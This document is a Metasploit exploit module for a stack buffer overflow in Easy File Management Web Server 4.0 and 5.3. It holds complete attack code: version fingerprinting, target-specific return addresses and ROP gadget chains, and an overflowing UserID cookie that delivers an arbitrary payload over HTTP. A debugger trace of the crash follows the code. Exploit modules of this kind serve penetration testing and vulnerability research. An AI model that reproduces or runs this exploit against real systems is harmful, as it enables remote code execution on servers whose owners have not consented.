Easy File Management Web Server Stack Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking # Reliable memory corruption  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy File Management Web Server Stack Buffer Overflow',  
'Description' => %q{  
Easy File Management Web Server v4.0 and v5.3 contains a stack buffer  
overflow condition that is triggered as user-supplied input is not  
properly validated when handling the UserID cookie. This may allow a  
remote attacker to execute arbitrary code.  
},  
'Author' =>  
[  
'superkojiman', # Vulnerability discovery  
'Julien Ahrens', # Exploit  
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '107241'],  
['EDB', '33610'],  
['BID', '67542'],  
['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'],  
['URL', 'http://www.web-file-management.com/']  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d;",  
'Space' => 3420 # Lets play it safe  
},  
'Targets' =>  
[  
# Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on:  
# -- Microsoft Windows XP [Version 5.1.2600]  
# -- Microsoft Windows [Version 6.1.7600]  
# -- Microsoft Windows [Version 6.3.9600]  
['Automatic Targeting', { 'auto' => true }],  
['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }],  
['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }],  
# 0x10010101 = pop ebx > pop ecx > retn  
# 0xA445ABCF = 0x514CF5 push esp > retn 0c  
# 0xA4518472 = 0x457452 jmp esp  
# From ImageLoad.dll  
],  
'DisclosureDate' => 'May 20 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp'])  
], self.class)  
end  
  
def get_version  
  
#  
# NOTE: Version 5.3 still reports "4.0" in the "Server" header  
#  
  
version = nil  
res = send_request_raw({'uri' => '/whatsnew.txt'})  
if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/  
version = $1  
vprint_status "#{peer} - Found version: #{version}"  
elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/  
version = $1  
vprint_status "#{peer} - Based on Server header: #{version}"  
end  
  
version  
end  
  
def check  
code = Exploit::CheckCode::Safe  
version = get_version  
if version.nil?  
code = Exploit::CheckCode::Unknown  
elsif version == "5.3"  
code = Exploit::CheckCode::Appears  
elsif version == "4.0"  
code = Exploit::CheckCode::Appears  
end  
  
code  
end  
  
def exploit  
  
#  
# Get target version to determine how to reach call/jmp esp  
#  
  
print_status("#{peer} - Fingerprinting version...")  
version = get_version  
  
if target.name =~ /Automatic/  
if version.nil?  
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")  
elsif version =~ /5\.3/  
my_target = targets[1]  
elsif version =~ /4\.0/  
my_target = targets[2]  
end  
print_good("#{peer} - Version #{version} found")  
else  
my_target = target  
unless version && my_target.name.include?(version)  
print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...")  
end  
end  
  
#  
# Fu to reach where payload lives  
#  
  
sploit = rand_text(80) # Junk  
sploit << [0x1001D8C8].pack("V") # Push edx  
sploit << rand_text(280) # Junk  
sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn  
sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp  
sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction  
sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn  
sploit << rand_text(8) # Filler  
sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn  
sploit << [0x1002466D].pack("V") # Push eax > retn  
sploit << payload.encoded  
  
print_status "#{peer} - Trying target #{my_target.name}..."  
  
#  
# NOTE: Successful HTTP request is required to trigger  
#  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;",  
}, 1)  
end  
end  
  
=begin  
  
#  
# 0x44f57d This will write UserID up the stack. If the UserID is to large it  
# will overwrite a pointer which is used later on at 0x468702  
#  
  
eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac  
eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
fmws+0x4f57d:  
0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
0:004> dd @esi  
01668084 41414141 41414141 41414141 41414141  
01668094 41414141 41414141 41414141 41414141  
016680a4 41414141 41414141 41414141 41414141  
016680b4 41414141 41414141 41414141 41414141  
016680c4 41414141 41414141 41414141 41414141  
016680d4 41414141 41414141 41414141 41414141  
016680e4 41414141 41414141 41414141 41414141  
016680f4 41414141 41414141 41414141 41414141  
  
(c38.8cc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc  
eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
fmws+0x68702:  
00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????  
  
=end  
`